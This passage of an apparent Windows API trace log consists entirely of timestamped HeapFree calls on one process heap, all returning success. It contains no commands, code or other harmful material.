lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0180.500] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45550e8 | out: hHeap=0x420000) returned 1 [0180.665] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45550e8 | out: hHeap=0x420000) returned 1 [0180.670] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45550e8 | out: hHeap=0x420000) returned 1 [0180.673] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45550e8 | out: hHeap=0x420000) returned 1 [0180.678] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45550e8 | out: hHeap=0x420000) returned 1 [0180.680] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45550e8 | out: hHeap=0x420000) returned 1 [0180.683] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45550e8 | out: hHeap=0x420000) returned 1 [0180.686] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45550e8 | out: hHeap=0x420000) returned 1 [0180.690] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45550e8 | out: hHeap=0x420000) returned 1 [0180.696] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45550e8 | out: hHeap=0x420000) returned 1 [0180.699] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45550e8 | out: hHeap=0x420000) returned 1 [0180.702] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45550e8 | out: hHeap=0x420000) returned 1 [0180.848] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45550e8 | out: hHeap=0x420000) returned 1 [0180.853] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45550e8 | out: hHeap=0x420000) returned 1 [0180.856] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45550e8 | out: hHeap=0x420000) returned 1 [0180.860] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45550e8 | out: hHeap=0x420000) returned 1 [0180.862] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45550e8 | out: hHeap=0x420000) returned 1 [0180.867] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45550e8 | out: hHeap=0x420000) returned 1 [0180.871] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45550e8 | out: hHeap=0x420000) returned 1 [0180.874] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45550e8 | out: hHeap=0x420000) returned 1 [0180.876] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45550e8 | out: hHeap=0x420000) returned 1 [0180.879] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45550e8 | out: hHeap=0x420000) returned 1 [0180.883] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45550e8 | out: hHeap=0x420000) returned 1 [0180.981] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45550e8 | out: hHeap=0x420000) returned 1 [0180.986] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45550e8 | out: hHeap=0x420000) returned 1 [0180.989] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45550e8 | out: hHeap=0x420000) returned 1 [0180.992] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45550e8 | out: hHeap=0x420000) returned 1 [0180.995] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45550e8 | out: hHeap=0x420000) returned 1 [0180.997] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45550e8 | out: hHeap=0x420000) returned 1 [0181.001] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45550e8 | out: hHeap=0x420000) returned 1 [0181.003] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45550e8 | out: hHeap=0x420000) returned 1 [0181.006] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45550e8 | out: hHeap=0x420000) returned 1 [0181.009] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45550e8 | out: hHeap=0x420000) returned 1 [0181.012] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45550e8 | out: hHeap=0x420000) returned 1 [0181.014] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45550e8 | out: hHeap=0x420000) returned 1 [0181.017] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45550e8 | out: hHeap=0x420000) returned 1 [0181.243] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45550e8 | out: hHeap=0x420000) returned 1 [0181.899] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45550e8 | out: hHeap=0x420000) returned 1 [0181.902] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45550e8 | out: hHeap=0x420000) returned 1 [0181.904] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45550e8 | out: hHeap=0x420000) returned 1 [0181.907] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45550e8 | out: hHeap=0x420000) returned 1 [0181.909] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45550e8 | out: hHeap=0x420000) returned 1 [0181.912] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45550e8 | out: hHeap=0x420000) returned 1 [0181.915] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45550e8 | out: hHeap=0x420000) returned 1 [0181.915] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44e50e0 | out: hHeap=0x420000) returned 1 [0181.915] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44d50d8 | out: hHeap=0x420000) returned 1 [0181.918] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45550e8 | out: hHeap=0x420000) returned 1 [0181.924] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44d50d8 | out: hHeap=0x420000) returned 1 [0181.926] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44d50d8 | out: hHeap=0x420000) returned 1 [0181.929] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44d50d8 | out: hHeap=0x420000) returned 1 [0181.932] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44d50d8 | out: hHeap=0x420000) returned 1 [0181.935] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44d50d8 | out: hHeap=0x420000) returned 1 [0182.346] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44d50d8 | out: hHeap=0x420000) returned 1 [0182.349] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44d50d8 | out: hHeap=0x420000) returned 1 [0182.352] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44d50d8 | out: hHeap=0x420000) returned 1 [0182.354] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44d50d8 | out: hHeap=0x420000) returned 1 [0182.357] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44d50d8 | out: hHeap=0x420000) returned 1 [0182.366] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44d50d8 | out: hHeap=0x420000) returned 1 [0182.370] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45650f0 | out: hHeap=0x420000) returned 1 [0182.373] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45650f0 | out: hHeap=0x420000) returned 1 [0182.376] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45650f0 | out: hHeap=0x420000) returned 1 [0182.378] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45650f0 | out: hHeap=0x420000) returned 1 [0182.381] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45650f0 | out: hHeap=0x420000) returned 1 [0182.424] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45650f0 | out: hHeap=0x420000) returned 1 [0182.441] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45650f0 | out: hHeap=0x420000) returned 1 [0182.446] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45650f0 | out: hHeap=0x420000) returned 1 [0182.457] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45650f0 | out: hHeap=0x420000) returned 1 [0182.459] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45650f0 | out: hHeap=0x420000) returned 1 [0182.462] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45650f0 | out: hHeap=0x420000) returned 1 [0182.466] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45650f0 | out: hHeap=0x420000) returned 1 [0182.468] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45650f0 | out: hHeap=0x420000) returned 1 [0182.471] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45650f0 | out: hHeap=0x420000) returned 1 [0182.474] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45650f0 | out: hHeap=0x420000) returned 1 [0182.476] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45650f0 | out: hHeap=0x420000) returned 1 [0182.479] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45650f0 | out: hHeap=0x420000) returned 1 [0182.484] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45650f0 | out: hHeap=0x420000) returned 1 [0182.709] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45650f0 | out: hHeap=0x420000) returned 1 [0182.745] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45650f0 | out: hHeap=0x420000) returned 1 [0183.768] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45650f0 | out: hHeap=0x420000) returned 1 [0183.771] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45650f0 | out: hHeap=0x420000) returned 1 [0183.773] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45650f0 | out: hHeap=0x420000) returned 1 [0183.776] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45650f0 | out: hHeap=0x420000) returned 1 [0183.779] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45650f0 | out: hHeap=0x420000) returned 1 [0183.782] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45650f0 | out: hHeap=0x420000) returned 1 [0183.785] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45650f0 | out: hHeap=0x420000) returned 1 [0183.788] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45650f0 | out: hHeap=0x420000) returned 1 [0183.790] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45650f0 | out: hHeap=0x420000) returned 1 [0183.793] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45650f0 | out: hHeap=0x420000) returned 1 [0183.796] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45650f0 | out: hHeap=0x420000) returned 1 [0183.798] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45650f0 | out: hHeap=0x420000) returned 1 [0183.801] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45650f0 | out: hHeap=0x420000) returned 1 [0183.801] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45550e8 | out: hHeap=0x420000) returned 1 [0184.108] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0184.112] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0184.116] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0184.119] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0184.122] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0184.126] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0184.129] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0184.133] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0184.133] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0184.137] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0184.142] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0184.316] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0184.319] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0184.321] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0184.323] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0184.354] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0184.357] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0184.359] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0184.361] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0184.363] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0184.365] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0184.367] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0184.464] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0184.468] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0184.471] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0184.474] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0184.479] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0184.483] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0184.488] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0184.492] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0184.495] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0184.500] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0184.585] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0184.690] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0184.744] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0184.860] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0185.058] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0185.059] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0185.059] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0185.059] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0185.059] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0185.059] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0185.060] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0185.060] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0185.060] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0185.060] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0185.060] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0185.060] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0185.060] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0185.060] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0185.061] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0185.061] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0185.061] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0185.061] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0185.061] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0185.061] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0185.061] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0185.061] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0185.062] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0185.062] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0185.062] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0185.062] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0185.062] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0185.062] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0185.062] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0185.062] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0185.063] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0185.063] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0185.063] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0185.063] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0185.063] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0185.063] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0185.063] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0185.063] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0185.064] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0185.064] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0185.064] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0185.064] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0185.066] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0185.068] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0185.080] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0185.101] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0185.116] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0185.120] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0185.123] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0185.127] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0185.131] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0185.397] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0185.401] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0185.403] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0185.417] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0185.419] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0185.420] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45550d8 | out: hHeap=0x420000) returned 1 [0185.420] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0185.422] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0185.424] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0185.424] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0185.425] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0185.427] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0185.429] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0185.429] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0185.430] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0185.430] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0185.430] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0185.539] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0185.539] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0186.483] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0186.508] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0186.564] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0186.564] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0186.567] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0186.567] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0186.568] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0186.571] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0186.572] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0186.574] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0186.574] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0186.576] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0186.578] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0186.578] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0186.578] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0186.578] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0186.582] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0186.582] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0186.600] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0186.601] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0186.601] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0186.607] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0187.702] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0187.746] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0187.748] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0187.749] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0187.749] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0187.750] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0187.751] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0187.752] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0187.756] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0187.756] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0187.757] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0187.758] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0187.759] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0187.759] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: 